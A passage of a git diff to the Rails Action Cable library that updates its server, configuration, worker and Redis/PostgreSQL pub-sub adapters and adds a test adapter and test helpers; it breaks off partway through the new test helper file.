+    # Also, this is the server instance used for broadcasting. See Broadcasting for
+    # more information.
     class Base
       include ActionCable::Server::Broadcasting
       include ActionCable::Server::Connections
 
-      cattr_accessor(:config, instance_accessor: true) { ActionCable::Server::Configuration.new }
+      cattr_accessor :config, instance_accessor: false, default: ActionCable::Server::Configuration.new
+
+      attr_reader :config
 
       def self.logger; config.logger; end
       delegate :logger, to: :config
 
       attr_reader :mutex
 
-      def initialize
+      def initialize(config: self.class.config)
+        @config = config
         @mutex = Monitor.new
         @remote_connections = @event_loop = @worker_pool = @pubsub = nil
       end
 
-      # Called by Rack to setup the server.
+      # Called by Rack to set up the server.
       def call(env)
+        return config.health_check_application.call(env) if env["PATH_INFO"] == config.health_check_path
         setup_heartbeat_timer
         config.connection_class.call.new(self, env).process
       end
 
-      # Disconnect all the connections identified by `identifiers` on this server or any others via RemoteConnections.
+      # Disconnect all the connections identified by `identifiers` on this server or
+      # any others via RemoteConnections.
       def disconnect(identifiers)
         remote_connections.where(identifiers).disconnect
       end
 
       def restart
-        connections.each(&:close)
+        connections.each do |connection|
+          connection.close(reason: ActionCable::INTERNAL[:disconnect_reasons][:server_restart])
+        end
 
         @mutex.synchronize do
           # Shutdown the worker pool
@@ -56,17 +72,22 @@ def event_loop
         @event_loop || @mutex.synchronize { @event_loop ||= ActionCable::Connection::StreamEventLoop.new }
       end
 
-      # The worker pool is where we run connection callbacks and channel actions. We do as little as possible on the server's main thread.
-      # The worker pool is an executor service that's backed by a pool of threads working from a task queue. The thread pool size maxes out
-      # at 4 worker threads by default. Tune the size yourself with <tt>config.action_cable.worker_pool_size</tt>.
+      # The worker pool is where we run connection callbacks and channel actions. We
+      # do as little as possible on the server's main thread. The worker pool is an
+      # executor service that's backed by a pool of threads working from a task queue.
+      # The thread pool size maxes out at 4 worker threads by default. Tune the size
+      # yourself with `config.action_cable.worker_pool_size`.
       #
-      # Using Active Record, Redis, etc within your channel actions means you'll get a separate connection from each thread in the worker pool.
-      # Plan your deployment accordingly: 5 servers each running 5 Puma workers each running an 8-thread worker pool means at least 200 database
-      # connections.
+      # Using Active Record, Redis, etc within your channel actions means you'll get a
+      # separate connection from each thread in the worker pool. Plan your deployment
+      # accordingly: 5 servers each running 5 Puma workers each running an 8-thread
+      # worker pool means at least 200 database connections.
       #
-      # Also, ensure that your database connection pool size is as least as large as your worker pool size. Otherwise, workers may oversubscribe
-      # the database connection pool and block while they wait for other workers to release their connections. Use a smaller worker pool or a larger
-      # database connection pool instead.
+      # Also, ensure that your database connection pool size is as least as large as
+      # your worker pool size. Otherwise, workers may oversubscribe the database
+      # connection pool and block while they wait for other workers to release their
+      # connections. Use a smaller worker pool or a larger database connection pool
+      # instead.
       def worker_pool
         @worker_pool || @mutex.synchronize { @worker_pool ||= ActionCable::Server::Worker.new(max_size: config.worker_pool_size) }
       end
@@ -76,7 +97,8 @@ def pubsub
         @pubsub || @mutex.synchronize { @pubsub ||= config.pubsub_adapter.new(self) }
       end
 
-      # All of the identifiers applied to the connection class associated with this server.
+      # All of the identifiers applied to the connection class associated with this
+      # server.
       def connection_identifiers
         config.connection_class.call.identifiers
       end
diff --git a/actioncable/lib/action_cable/server/broadcasting.rb b/actioncable/lib/action_cable/server/broadcasting.rb
index 7fcd6c6587d7b..cedd0fb58fb0b 100644
--- a/actioncable/lib/action_cable/server/broadcasting.rb
+++ b/actioncable/lib/action_cable/server/broadcasting.rb
@@ -1,30 +1,42 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Server
-    # Broadcasting is how other parts of your application can send messages to a channel's subscribers. As explained in Channel, most of the time, these
-    # broadcastings are streamed directly to the clients subscribed to the named broadcasting. Let's explain with a full-stack example:
+    # # Action Cable Server Broadcasting
+    #
+    # Broadcasting is how other parts of your application can send messages to a
+    # channel's subscribers. As explained in Channel, most of the time, these
+    # broadcastings are streamed directly to the clients subscribed to the named
+    # broadcasting. Let's explain with a full-stack example:
     #
-    #   class WebNotificationsChannel < ApplicationCable::Channel
-    #     def subscribed
-    #       stream_from "web_notifications_#{current_user.id}"
+    #     class WebNotificationsChannel < ApplicationCable::Channel
+    #       def subscribed
+    #         stream_from "web_notifications_#{current_user.id}"
+    #       end
     #     end
-    #   end
     #
-    #   # Somewhere in your app this is called, perhaps from a NewCommentJob:
-    #   ActionCable.server.broadcast \
-    #     "web_notifications_1", { title: "New things!", body: "All that's fit for print" }
+    #     # Somewhere in your app this is called, perhaps from a NewCommentJob:
+    #     ActionCable.server.broadcast \
+    #       "web_notifications_1", { title: "New things!", body: "All that's fit for print" }
     #
-    #   # Client-side CoffeeScript, which assumes you've already requested the right to send web notifications:
-    #   App.cable.subscriptions.create "WebNotificationsChannel",
-    #     received: (data) ->
-    #       new Notification data['title'], body: data['body']
+    #     # Client-side JavaScript, which assumes you've already requested the right to send web notifications:
+    #     App.cable.subscriptions.create("WebNotificationsChannel", {
+    #       received: function(data) {
+    #         new Notification(data['title'], { body: data['body'] })
+    #       }
+    #     })
     module Broadcasting
-      # Broadcast a hash directly to a named <tt>broadcasting</tt>. This will later be JSON encoded.
+      # Broadcast a hash directly to a named `broadcasting`. This will later be JSON
+      # encoded.
       def broadcast(broadcasting, message, coder: ActiveSupport::JSON)
         broadcaster_for(broadcasting, coder: coder).broadcast(message)
       end
 
-      # Returns a broadcaster for a named <tt>broadcasting</tt> that can be reused. Useful when you have an object that
-      # may need multiple spots to transmit to a specific broadcasting over and over.
+      # Returns a broadcaster for a named `broadcasting` that can be reused. Useful
+      # when you have an object that may need multiple spots to transmit to a specific
+      # broadcasting over and over.
       def broadcaster_for(broadcasting, coder: ActiveSupport::JSON)
         Broadcaster.new(self, String(broadcasting), coder: coder)
       end
@@ -38,7 +50,7 @@ def initialize(server, broadcasting, coder:)
           end
 
           def broadcast(message)
-            server.logger.debug "[ActionCable] Broadcasting to #{broadcasting}: #{message.inspect}"
+            server.logger.debug { "[ActionCable] Broadcasting to #{broadcasting}: #{message.inspect.truncate(300)}" }
 
             payload = { broadcasting: broadcasting, message: message, coder: coder }
             ActiveSupport::Notifications.instrument("broadcast.action_cable", payload) do
diff --git a/actioncable/lib/action_cable/server/configuration.rb b/actioncable/lib/action_cable/server/configuration.rb
index 17e0dee064ef0..6210bfcf47b9d 100644
--- a/actioncable/lib/action_cable/server/configuration.rb
+++ b/actioncable/lib/action_cable/server/configuration.rb
@@ -1,12 +1,23 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "rack"
+
 module ActionCable
   module Server
-    # An instance of this configuration object is available via ActionCable.server.config, which allows you to tweak Action Cable configuration
-    # in a Rails config initializer.
+    # # Action Cable Server Configuration
+    #
+    # An instance of this configuration object is available via
+    # ActionCable.server.config, which allows you to tweak Action Cable
+    # configuration in a Rails config initializer.
     class Configuration
       attr_accessor :logger, :log_tags
       attr_accessor :connection_class, :worker_pool_size
-      attr_accessor :disable_request_forgery_protection, :allowed_request_origins, :allow_same_origin_as_host
+      attr_accessor :disable_request_forgery_protection, :allowed_request_origins, :allow_same_origin_as_host, :filter_parameters
       attr_accessor :cable, :url, :mount_path
+      attr_accessor :precompile_assets
+      attr_accessor :health_check_path, :health_check_application
 
       def initialize
         @log_tags = []
@@ -16,20 +27,38 @@ def initialize
 
         @disable_request_forgery_protection = false
         @allow_same_origin_as_host = true
+        @filter_parameters = []
+
+        @health_check_application = ->(env) {
+          [200, { Rack::CONTENT_TYPE => "text/html", "date" => Time.now.httpdate }, []]
+        }
       end
 
-      # Returns constant of subscription adapter specified in config/cable.yml.
-      # If the adapter cannot be found, this will default to the Redis adapter.
-      # Also makes sure proper dependencies are required.
+      # Returns constant of subscription adapter specified in config/cable.yml. If the
+      # adapter cannot be found, this will default to the Redis adapter. Also makes
+      # sure proper dependencies are required.
       def pubsub_adapter
         adapter = (cable.fetch("adapter") { "redis" })
+
+        # Require the adapter itself and give useful feedback about
+        #     1. Missing adapter gems and
+        #     2. Adapter gems' missing dependencies.
         path_to_adapter = "action_cable/subscription_adapter/#{adapter}"
         begin
           require path_to_adapter
-        rescue Gem::LoadError => e
-          raise Gem::LoadError, "Specified '#{adapter}' for Action Cable pubsub adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile (and ensure its version is at the minimum required by Action Cable)."
         rescue LoadError => e
-          raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/cable.yml is valid. If you use an adapter other than 'postgresql' or 'redis' add the necessary adapter gem to the Gemfile.", e.backtrace
+          # We couldn't require the adapter itself. Raise an exception that points out
+          # config typos and missing gems.
+          if e.path == path_to_adapter
+            # We can assume that a non-builtin adapter was specified, so it's either
+            # misspelled or missing from Gemfile.
+            raise e.class, "Could not load the '#{adapter}' Action Cable pubsub adapter. Ensure that the adapter is spelled correctly in config/cable.yml and that you've added the necessary adapter gem to your Gemfile.", e.backtrace
+
+          # Bubbled up from the adapter require. Prefix the exception message with some
+          # guidance about how to address it and reraise.
+          else
+            raise e.class, "Error loading the '#{adapter}' Action Cable pubsub adapter. Missing a gem it depends on? #{e.message}", e.backtrace
+          end
         end
 
         adapter = adapter.camelize
diff --git a/actioncable/lib/action_cable/server/connections.rb b/actioncable/lib/action_cable/server/connections.rb
index 5e61b4e335b14..e51933b177410 100644
--- a/actioncable/lib/action_cable/server/connections.rb
+++ b/actioncable/lib/action_cable/server/connections.rb
@@ -1,7 +1,15 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Server
-    # Collection class for all the connections that have been established on this specific server. Remember, usually you'll run many Action Cable servers, so
-    # you can't use this collection as a full list of all of the connections established against your application. Instead, use RemoteConnections for that.
+    # # Action Cable Server Connections
+    #
+    # Collection class for all the connections that have been established on this
+    # specific server. Remember, usually you'll run many Action Cable servers, so
+    # you can't use this collection as a full list of all of the connections
+    # established against your application. Instead, use RemoteConnections for that.
     module Connections # :nodoc:
       BEAT_INTERVAL = 3
 
@@ -17,12 +25,14 @@ def remove_connection(connection)
         connections.delete connection
       end
 
-      # WebSocket connection implementations differ on when they'll mark a connection as stale. We basically never want a connection to go stale, as you
-      # then can't rely on being able to communicate with the connection. To solve this, a 3 second heartbeat runs on all connections. If the beat fails, we automatically
+      # WebSocket connection implementations differ on when they'll mark a connection
+      # as stale. We basically never want a connection to go stale, as you then can't
+      # rely on being able to communicate with the connection. To solve this, a 3
+      # second heartbeat runs on all connections. If the beat fails, we automatically
       # disconnect.
       def setup_heartbeat_timer
         @heartbeat_timer ||= event_loop.timer(BEAT_INTERVAL) do
-          event_loop.post { connections.map(&:beat) }
+          event_loop.post { connections.each(&:beat) }
         end
       end
 
diff --git a/actioncable/lib/action_cable/server/worker.rb b/actioncable/lib/action_cable/server/worker.rb
index 43639c27afdcc..535849a1515e7 100644
--- a/actioncable/lib/action_cable/server/worker.rb
+++ b/actioncable/lib/action_cable/server/worker.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/callbacks"
 require "active_support/core_ext/module/attribute_accessors_per_thread"
 require "concurrent"
@@ -16,14 +20,15 @@ class Worker # :nodoc:
 
       def initialize(max_size: 5)
         @executor = Concurrent::ThreadPoolExecutor.new(
+          name: "ActionCable-server",
           min_threads: 1,
           max_threads: max_size,
           max_queue: 0,
         )
       end
 
-      # Stop processing work: any work that has not already started
-      # running will be discarded from the queue
+      # Stop processing work: any work that has not already started running will be
+      # discarded from the queue
       def halt
         @executor.shutdown
       end
@@ -32,12 +37,10 @@ def stopping?
         @executor.shuttingdown?
       end
 
-      def work(connection)
+      def work(connection, &block)
         self.connection = connection
 
-        run_callbacks :work do
-          yield
-        end
+        run_callbacks :work, &block
       ensure
         self.connection = nil
       end
@@ -54,19 +57,16 @@ def async_invoke(receiver, method, *args, connection: receiver, &block)
 
       def invoke(receiver, method, *args, connection:, &block)
         work(connection) do
-          begin
-            receiver.send method, *args, &block
-          rescue Exception => e
-            logger.error "There was an exception - #{e.class}(#{e.message})"
-            logger.error e.backtrace.join("\n")
+          receiver.send method, *args, &block
+        rescue Exception => e
+          logger.error "There was an exception - #{e.class}(#{e.message})"
+          logger.error e.backtrace.join("\n")
 
-            receiver.handle_exception if receiver.respond_to?(:handle_exception)
-          end
+          receiver.handle_exception if receiver.respond_to?(:handle_exception)
         end
       end
 
       private
-
         def logger
           ActionCable.server.logger
         end
diff --git a/actioncable/lib/action_cable/server/worker/active_record_connection_management.rb b/actioncable/lib/action_cable/server/worker/active_record_connection_management.rb
index c1e4aa8103565..2512c500f4265 100644
--- a/actioncable/lib/action_cable/server/worker/active_record_connection_management.rb
+++ b/actioncable/lib/action_cable/server/worker/active_record_connection_management.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module Server
     class Worker
@@ -10,8 +14,8 @@ module ActiveRecordConnectionManagement
           end
         end
 
-        def with_database_connections
-          connection.logger.tag(ActiveRecord::Base.logger) { yield }
+        def with_database_connections(&block)
+          connection.logger.tag(ActiveRecord::Base.logger, &block)
         end
       end
     end
diff --git a/actioncable/lib/action_cable/subscription_adapter.rb b/actioncable/lib/action_cable/subscription_adapter.rb
deleted file mode 100644
index 596269ab9bf31..0000000000000
--- a/actioncable/lib/action_cable/subscription_adapter.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module ActionCable
-  module SubscriptionAdapter
-    extend ActiveSupport::Autoload
-
-    autoload :Base
-    autoload :SubscriberMap
-    autoload :ChannelPrefix
-  end
-end
diff --git a/actioncable/lib/action_cable/subscription_adapter/async.rb b/actioncable/lib/action_cable/subscription_adapter/async.rb
index 46819dbfec17a..f78edb9ae7c35 100644
--- a/actioncable/lib/action_cable/subscription_adapter/async.rb
+++ b/actioncable/lib/action_cable/subscription_adapter/async.rb
@@ -1,4 +1,6 @@
-require "action_cable/subscription_adapter/inline"
+# frozen_string_literal: true
+
+# :markup: markdown
 
 module ActionCable
   module SubscriptionAdapter
diff --git a/actioncable/lib/action_cable/subscription_adapter/base.rb b/actioncable/lib/action_cable/subscription_adapter/base.rb
index 796db5ffa354e..2df2667b2336c 100644
--- a/actioncable/lib/action_cable/subscription_adapter/base.rb
+++ b/actioncable/lib/action_cable/subscription_adapter/base.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module SubscriptionAdapter
     class Base
@@ -23,6 +27,11 @@ def unsubscribe(channel, message_callback)
       def shutdown
         raise NotImplementedError
       end
+
+      def identifier
+        @server.config.cable[:id] = "ActionCable-PID-#{$$}" unless @server.config.cable.key?(:id)
+        @server.config.cable[:id]
+      end
     end
   end
 end
diff --git a/actioncable/lib/action_cable/subscription_adapter/channel_prefix.rb b/actioncable/lib/action_cable/subscription_adapter/channel_prefix.rb
index 8b293cc7853ab..2c3e88f307ed2 100644
--- a/actioncable/lib/action_cable/subscription_adapter/channel_prefix.rb
+++ b/actioncable/lib/action_cable/subscription_adapter/channel_prefix.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module SubscriptionAdapter
     module ChannelPrefix # :nodoc:
diff --git a/actioncable/lib/action_cable/subscription_adapter/evented_redis.rb b/actioncable/lib/action_cable/subscription_adapter/evented_redis.rb
deleted file mode 100644
index 56b068976bf09..0000000000000
--- a/actioncable/lib/action_cable/subscription_adapter/evented_redis.rb
+++ /dev/null
@@ -1,81 +0,0 @@
-require "thread"
-
-gem "em-hiredis", "~> 0.3.0"
-gem "redis", "~> 3.0"
-require "em-hiredis"
-require "redis"
-
-EventMachine.epoll  if EventMachine.epoll?
-EventMachine.kqueue if EventMachine.kqueue?
-
-module ActionCable
-  module SubscriptionAdapter
-    class EventedRedis < Base # :nodoc:
-      prepend ChannelPrefix
-
-      @@mutex = Mutex.new
-
-      # Overwrite this factory method for EventMachine Redis connections if you want to use a different Redis connection library than EM::Hiredis.
-      # This is needed, for example, when using Makara proxies for distributed Redis.
-      cattr_accessor(:em_redis_connector) { ->(config) { EM::Hiredis.connect(config[:url]) } }
-
-      # Overwrite this factory method for Redis connections if you want to use a different Redis connection library than Redis.
-      # This is needed, for example, when using Makara proxies for distributed Redis.
-      cattr_accessor(:redis_connector) { ->(config) { ::Redis.new(url: config[:url]) } }
-
-      def initialize(*)
-        super
-        @redis_connection_for_broadcasts = @redis_connection_for_subscriptions = nil
-      end
-
-      def broadcast(channel, payload)
-        redis_connection_for_broadcasts.publish(channel, payload)
-      end
-
-      def subscribe(channel, message_callback, success_callback = nil)
-        redis_connection_for_subscriptions.pubsub.subscribe(channel, &message_callback).tap do |result|
-          result.callback { |reply| success_callback.call } if success_callback
-        end
-      end
-
-      def unsubscribe(channel, message_callback)
-        redis_connection_for_subscriptions.pubsub.unsubscribe_proc(channel, message_callback)
-      end
-
-      def shutdown
-        redis_connection_for_subscriptions.pubsub.close_connection
-        @redis_connection_for_subscriptions = nil
-      end
-
-      private
-        def redis_connection_for_subscriptions
-          ensure_reactor_running
-          @redis_connection_for_subscriptions || @server.mutex.synchronize do
-            @redis_connection_for_subscriptions ||= self.class.em_redis_connector.call(@server.config.cable).tap do |redis|
-              redis.on(:reconnect_failed) do
-                @logger.error "[ActionCable] Redis reconnect failed."
-              end
-
-              redis.on(:failed) do
-                @logger.error "[ActionCable] Redis connection has failed."
-              end
-            end
-          end
-        end
-
-        def redis_connection_for_broadcasts
-          @redis_connection_for_broadcasts || @server.mutex.synchronize do
-            @redis_connection_for_broadcasts ||= self.class.redis_connector.call(@server.config.cable)
-          end
-        end
-
-        def ensure_reactor_running
-          return if EventMachine.reactor_running? && EventMachine.reactor_thread
-          @@mutex.synchronize do
-            Thread.new { EventMachine.run } unless EventMachine.reactor_running?
-            Thread.pass until EventMachine.reactor_running? && EventMachine.reactor_thread
-          end
-        end
-    end
-  end
-end
diff --git a/actioncable/lib/action_cable/subscription_adapter/inline.rb b/actioncable/lib/action_cable/subscription_adapter/inline.rb
index 81357faead2c0..88559fb39c64e 100644
--- a/actioncable/lib/action_cable/subscription_adapter/inline.rb
+++ b/actioncable/lib/action_cable/subscription_adapter/inline.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module SubscriptionAdapter
     class Inline < Base # :nodoc:
diff --git a/actioncable/lib/action_cable/subscription_adapter/postgresql.rb b/actioncable/lib/action_cable/subscription_adapter/postgresql.rb
index bdab5205ec91c..2ac063a2e63b1 100644
--- a/actioncable/lib/action_cable/subscription_adapter/postgresql.rb
+++ b/actioncable/lib/action_cable/subscription_adapter/postgresql.rb
@@ -1,50 +1,76 @@
-gem "pg", "~> 0.18"
+# frozen_string_literal: true
+
+# :markup: markdown
+
+gem "pg", "~> 1.1"
 require "pg"
-require "thread"
+require "openssl"
 
 module ActionCable
   module SubscriptionAdapter
     class PostgreSQL < Base # :nodoc:
+      prepend ChannelPrefix
+
       def initialize(*)
         super
         @listener = nil
       end
 
       def broadcast(channel, payload)
-        with_connection do |pg_conn|
-          pg_conn.exec("NOTIFY #{pg_conn.escape_identifier(channel)}, '#{pg_conn.escape_string(payload)}'")
+        with_broadcast_connection do |pg_conn|
+          pg_conn.exec("NOTIFY #{pg_conn.escape_identifier(channel_identifier(channel))}, '#{pg_conn.escape_string(payload)}'")
         end
       end
 
       def subscribe(channel, callback, success_callback = nil)
-        listener.add_subscriber(channel, callback, success_callback)
+        listener.add_subscriber(channel_identifier(channel), callback, success_callback)
       end
 
       def unsubscribe(channel, callback)
-        listener.remove_subscriber(channel, callback)
+        listener.remove_subscriber(channel_identifier(channel), callback)
       end
 
       def shutdown
         listener.shutdown
       end
 
-      def with_connection(&block) # :nodoc:
+      def with_subscriptions_connection(&block) # :nodoc:
+        # Action Cable is taking ownership over this database connection, and will
+        # perform the necessary cleanup tasks.
+        # We purposely avoid #checkout to not end up with a pinned connection
+        ar_conn = ActiveRecord::Base.connection_pool.new_connection
+        pg_conn = ar_conn.raw_connection
+
+        verify!(pg_conn)
+        pg_conn.exec("SET application_name = #{pg_conn.escape_identifier(identifier)}")
+        yield pg_conn
+      ensure
+        ar_conn&.disconnect!
+      end
+
+      def with_broadcast_connection(&block) # :nodoc:
         ActiveRecord::Base.connection_pool.with_connection do |ar_conn|
           pg_conn = ar_conn.raw_connection
-
-          unless pg_conn.is_a?(PG::Connection)
-            raise "The Active Record database must be PostgreSQL in order to use the PostgreSQL Action Cable storage adapter"
-          end
-
+          verify!(pg_conn)
           yield pg_conn
         end
       end
 
       private
+        def channel_identifier(channel)
+          channel.size > 63 ? OpenSSL::Digest::SHA1.hexdigest(channel) : channel
+        end
+
         def listener
           @listener || @server.mutex.synchronize { @listener ||= Listener.new(self, @server.event_loop) }
         end
 
+        def verify!(pg_conn)
+          unless pg_conn.is_a?(PG::Connection)
+            raise "The Active Record database must be PostgreSQL in order to use the PostgreSQL Action Cable storage adapter"
+          end
+        end
+
         class Listener < SubscriberMap
           def initialize(adapter, event_loop)
             super()
@@ -60,7 +86,7 @@ def initialize(adapter, event_loop)
           end
 
           def listen
-            @adapter.with_connection do |pg_conn|
+            @adapter.with_subscriptions_connection do |pg_conn|
               catch :shutdown do
                 loop do
                   until @queue.empty?
diff --git a/actioncable/lib/action_cable/subscription_adapter/redis.rb b/actioncable/lib/action_cable/subscription_adapter/redis.rb
index 41a6e55822509..784a7ee0911da 100644
--- a/actioncable/lib/action_cable/subscription_adapter/redis.rb
+++ b/actioncable/lib/action_cable/subscription_adapter/redis.rb
@@ -1,16 +1,23 @@
-require "thread"
+# frozen_string_literal: true
 
-gem "redis", "~> 3.0"
+# :markup: markdown
+
+gem "redis", ">= 4", "< 6"
 require "redis"
 
+require "active_support/core_ext/hash/except"
+
 module ActionCable
   module SubscriptionAdapter
     class Redis < Base # :nodoc:
       prepend ChannelPrefix
 
-      # Overwrite this factory method for redis connections if you want to use a different Redis library than Redis.
-      # This is needed, for example, when using Makara proxies for distributed Redis.
-      cattr_accessor(:redis_connector) { ->(config) { ::Redis.new(url: config[:url]) } }
+      # Overwrite this factory method for Redis connections if you want to use a
+      # different Redis library than the redis gem. This is needed, for example, when
+      # using Makara proxies for distributed Redis.
+      cattr_accessor :redis_connector, default: ->(config) do
+        ::Redis.new(config.except(:adapter, :channel_prefix))
+      end
 
       def initialize(*)
         super
@@ -40,7 +47,7 @@ def redis_connection_for_subscriptions
 
       private
         def listener
-          @listener || @server.mutex.synchronize { @listener ||= Listener.new(self, @server.event_loop) }
+          @listener || @server.mutex.synchronize { @listener ||= Listener.new(self, config_options, @server.event_loop) }
         end
 
         def redis_connection_for_broadcasts
@@ -50,11 +57,15 @@ def redis_connection_for_broadcasts
         end
 
         def redis_connection
-          self.class.redis_connector.call(@server.config.cable)
+          self.class.redis_connector.call(config_options)
+        end
+
+        def config_options
+          @config_options ||= @server.config.cable.deep_symbolize_keys.merge(id: identifier)
         end
 
         class Listener < SubscriberMap
-          def initialize(adapter, event_loop)
+          def initialize(adapter, config_options, event_loop)
             super()
 
             @adapter = adapter
@@ -63,7 +74,12 @@ def initialize(adapter, event_loop)
             @subscribe_callbacks = Hash.new { |h, k| h[k] = [] }
             @subscription_lock = Mutex.new
 
-            @raw_client = nil
+            @reconnect_attempt = 0
+            # Use the same config as used by Redis conn
+            @reconnect_attempts = config_options.fetch(:reconnect_attempts, 1)
+            @reconnect_attempts = Array.new(@reconnect_attempts, 0) if @reconnect_attempts.is_a?(Integer)
+
+            @subscribed_client = nil
 
             @when_connected = []
 
@@ -72,13 +88,14 @@ def initialize(adapter, event_loop)
 
           def listen(conn)
             conn.without_reconnect do
-              original_client = conn.client
+              original_client = extract_subscribed_client(conn)
 
               conn.subscribe("_action_cable_internal") do |on|
                 on.subscribe do |chan, count|
                   @subscription_lock.synchronize do
                     if count == 1
-                      @raw_client = original_client
+                      @reconnect_attempt = 0
+                      @subscribed_client = original_client
 
                       until @when_connected.empty?
                         @when_connected.shift.call
@@ -100,7 +117,7 @@ def listen(conn)
                 on.unsubscribe do |chan, count|
                   if count == 0
                     @subscription_lock.synchronize do
-                      @raw_client = nil
+                      @subscribed_client = nil
                     end
                   end
                 end
@@ -113,8 +130,8 @@ def shutdown
               return if @thread.nil?
 
               when_connected do
-                send_command("unsubscribe")
-                @raw_client = nil
+                @subscribed_client.unsubscribe
+                @subscribed_client = nil
               end
             end
 
@@ -125,13 +142,13 @@ def add_channel(channel, on_success)
             @subscription_lock.synchronize do
               ensure_listener_running
               @subscribe_callbacks[channel] << on_success
-              when_connected { send_command("subscribe", channel) }
+              when_connected { @subscribed_client.subscribe(channel) }
             end
           end
 
           def remove_channel(channel)
             @subscription_lock.synchronize do
-              when_connected { send_command("unsubscribe", channel) }
+              when_connected { @subscribed_client.unsubscribe(channel) }
             end
           end
 
@@ -144,28 +161,98 @@ def ensure_listener_running
               @thread ||= Thread.new do
                 Thread.current.abort_on_exception = true
 
-                conn = @adapter.redis_connection_for_subscriptions
-                listen conn
+                begin
+                  conn = @adapter.redis_connection_for_subscriptions
+                  listen conn
+                rescue *CONNECTION_ERRORS
+                  reset
+                  if retry_connecting?
+                    when_connected { resubscribe }
+                    retry
+                  end
+                end
               end
             end
 
             def when_connected(&block)
-              if @raw_client
+              if @subscribed_client
                 block.call
               else
                 @when_connected << block
               end
             end
 
-            def send_command(*command)
-              @raw_client.write(command)
+            def retry_connecting?
+              @reconnect_attempt += 1
+
+              return false if @reconnect_attempt > @reconnect_attempts.size
+
+              sleep_t = @reconnect_attempts[@reconnect_attempt - 1]
+
+              sleep(sleep_t) if sleep_t > 0
+
+              true
+            end
+
+            def resubscribe
+              channels = @sync.synchronize do
+                @subscribers.keys
+              end
+              @subscribed_client.subscribe(*channels) unless channels.empty?
+            end
+
+            def reset
+              @subscription_lock.synchronize do
+                @subscribed_client = nil
+                @subscribe_callbacks.clear
+                @when_connected.clear
+              end
+            end
+
+            if ::Redis::VERSION < "5"
+              CONNECTION_ERRORS = [::Redis::BaseConnectionError].freeze
+
+              class SubscribedClient
+                def initialize(raw_client)
+                  @raw_client = raw_client
+                end
+
+                def subscribe(*channel)
+                  send_command("subscribe", *channel)
+                end
+
+                def unsubscribe(*channel)
+                  send_command("unsubscribe", *channel)
+                end
+
+                private
+                  def send_command(*command)
+                    @raw_client.write(command)
+
+                    very_raw_connection =
+                      @raw_client.connection.instance_variable_defined?(:@connection) &&
+                      @raw_client.connection.instance_variable_get(:@connection)
+
+                    if very_raw_connection && very_raw_connection.respond_to?(:flush)
+                      very_raw_connection.flush
+                    end
+                    nil
+                  end
+              end
+
+              def extract_subscribed_client(conn)
+                SubscribedClient.new(conn._client)
+              end
+            else
+              CONNECTION_ERRORS = [
+                ::Redis::BaseConnectionError,
 
-              very_raw_connection =
-                @raw_client.connection.instance_variable_defined?(:@connection) &&
-                @raw_client.connection.instance_variable_get(:@connection)
+                # Some older versions of redis-rb sometime leak underlying exceptions
+                RedisClient::ConnectionError,
+              ].freeze
 
-              if very_raw_connection && very_raw_connection.respond_to?(:flush)
-                very_raw_connection.flush
+              def extract_subscribed_client(conn)
+                conn
               end
             end
         end
diff --git a/actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb b/actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb
index 4cce86dccad78..d541681d3d473 100644
--- a/actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb
+++ b/actioncable/lib/action_cable/subscription_adapter/subscriber_map.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionCable
   module SubscriptionAdapter
     class SubscriberMap
diff --git a/actioncable/lib/action_cable/subscription_adapter/test.rb b/actioncable/lib/action_cable/subscription_adapter/test.rb
new file mode 100644
index 0000000000000..d09018aabbab5
--- /dev/null
+++ b/actioncable/lib/action_cable/subscription_adapter/test.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionCable
+  module SubscriptionAdapter
+    # ## Test adapter for Action Cable
+    #
+    # The test adapter should be used only in testing. Along with
+    # ActionCable::TestHelper it makes a great tool to test your Rails application.
+    #
+    # To use the test adapter set `adapter` value to `test` in your
+    # `config/cable.yml` file.
+    #
+    # NOTE: `Test` adapter extends the `ActionCable::SubscriptionAdapter::Async`
+    # adapter, so it could be used in system tests too.
+    class Test < Async
+      def broadcast(channel, payload)
+        broadcasts(channel) << payload
+        super
+      end
+
+      def broadcasts(channel)
+        channels_data[channel] ||= []
+      end
+
+      def clear_messages(channel)
+        channels_data[channel] = []
+      end
+
+      def clear
+        @channels_data = nil
+      end
+
+      private
+        def channels_data
+          @channels_data ||= {}
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/action_cable/test_case.rb b/actioncable/lib/action_cable/test_case.rb
new file mode 100644
index 0000000000000..b56f2ead6c306
--- /dev/null
+++ b/actioncable/lib/action_cable/test_case.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/test_case"
+
+module ActionCable
+  class TestCase < ActiveSupport::TestCase
+    include ActionCable::TestHelper
+
+    ActiveSupport.run_load_hooks(:action_cable_test_case, self)
+  end
+end
diff --git a/actioncable/lib/action_cable/test_helper.rb b/actioncable/lib/action_cable/test_helper.rb
new file mode 100644
index 0000000000000..682d8fc039843
--- /dev/null
+++ b/actioncable/lib/action_cable/test_helper.rb
@@ -0,0 +1,163 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionCable
+  # Provides helper methods for testing Action Cable broadcasting
+  module TestHelper
+    def before_setup # :nodoc:
+      server = ActionCable.server
+      test_adapter = ActionCable::SubscriptionAdapter::Test.new(server)
+
+      @old_pubsub_adapter = server.pubsub
+
+      server.instance_variable_set(:@pubsub, test_adapter)
+      super
+    end
+
